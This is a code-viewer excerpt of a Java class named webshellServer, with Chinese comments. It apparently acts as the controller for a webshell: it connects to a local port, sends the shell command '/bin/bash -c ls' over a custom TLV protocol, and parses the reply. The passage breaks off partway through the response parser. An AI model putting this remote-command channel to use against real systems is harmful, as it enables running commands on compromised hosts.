| 6 | import java.net.Socket; |
| 7 | |
| 8 | public class webshellServer { |
| 9 | private Socket socket; |
| 10 | private InputStream inputStream; |
| 11 | private OutputStream outputStream; |
| 12 | |
| 13 | public static void main(String[] args) throws IOException { |
| 14 | webshellServer webshellServer = new webshellServer("127.0.0.1", 9976); |
| 15 | String Command = "/bin/bash -c ls"; |
| 16 | webshellServer.write((new tlv.Request((byte) 0x02, Command.getBytes())).encode()); |
| 17 | tlv.Response response1 = webshellServer.readResponse(); |
| 18 | System.out.println(response1.getDataAsString()); |
| 19 | } |
| 20 | |
| 21 | public webshellServer(String host, int port) throws IOException { |
| 22 | this.socket = new Socket(host, port); |
| 23 | this.inputStream = socket.getInputStream(); |
| 24 | this.outputStream = socket.getOutputStream(); |
| 25 | } |
| 26 | |
| 27 | public void write(byte[] data) throws IOException { |
| 28 | outputStream.write(data); |
| 29 | outputStream.flush(); |
| 30 | } |
| 31 | |
| 32 | public reader read(int length) throws IOException { |
| 33 | byte[] bytes = new byte[length]; |
| 34 | int read = inputStream.read(bytes); |
| 35 | return new reader(length == read, bytes); |
| 36 | } |
| 37 | |
| 38 | // 读取完整的TLV响应 |
| 39 | public tlv.Response readResponse() throws IOException { |
| 40 | // 先读取魔数(4字节) + 类型(1字节) + 长度(4字节) |
| 41 | reader headerReader = read(9); |
| 42 | if (!headerReader.isSuccess()) { |
| 43 | return null; |
| 44 | } |
| 45 | |
| 46 | // 验证魔数 |
| 47 | if (!tlv.validate(headerReader.getData())) { |
| 48 | return null; |
| 49 | } |
| 50 | |
| 51 | // 获取数据长度 |
| 52 | byte[] headerData = headerReader.getData(); |
| 53 | int length = ((headerData[5] & 0xFF) << 24) | |
| 54 | ((headerData[6] & 0xFF) << 16) | |
| 55 | ((headerData[7] & 0xFF) << 8) | |
| 56 | (headerData[8] & 0xFF); |
| 57 | |
| 58 | // 读取剩余数据(状态码1字节 + 数据部分) |
| 59 | reader dataReader = read(length); |
| 60 | if (!dataReader.isSuccess()) { |
| 61 | return null; |
| 62 | } |
| 63 | |
| 64 | // 组合完整的响应数据 |
| 65 | byte[] fullResponse = new byte[9 + length]; |
nothing calls this directly
no outgoing calls
no test coverage detected